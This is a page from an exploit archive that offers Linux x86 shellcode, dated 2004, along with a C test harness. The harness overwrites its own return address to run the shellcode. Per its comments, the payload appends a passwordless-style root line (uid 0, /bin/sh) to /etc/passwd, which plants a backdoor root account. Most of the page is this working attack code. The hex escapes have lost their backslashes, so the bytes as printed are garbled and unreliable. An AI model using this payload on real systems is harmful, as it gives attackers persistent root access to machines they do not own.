[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 add user 104 bytes
# Published : 2004-09-12
# Author : Matt Conover
# Previous Title : linux/x86 add user t00r 82 bytes
# Next Title : linux/SPARC connect back 216 bytes
/*
* Source to this is pass.s
* This will append a root line to the passwd file (see the source).
*
* Shok (Matt Conover), shok@dataforce.net
*/
char shellcode[]=
"xebx03x5fxebx05xe8xf8xffxffxffx31xdbxb3x35x01xfb"
"x30xc0x88x43x0bx31xc9x66xb9x41x04x31xd2x66xbaxa4"
"x01x31xc0xb0x05xcdx80x89xc3x31xc9xb1x41x01xf9x31"
"xd2xb2x1fx31xc0xb0x04xcdx80x31xc0xb0x01xcdx80x2f"
"x65x74x63x2fx70x61x73x73x77x64x01x77x30x30x77x30"
"x30x3ax3ax30x3ax30x3ax77x30x77x30x77x21x3ax2fx3a"
"x2fx62x69x6ex2fx73x68x0a";
void main()
{
int *ret;
printf("w00w00!n");
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
// www.Syue.com [2004-09-12]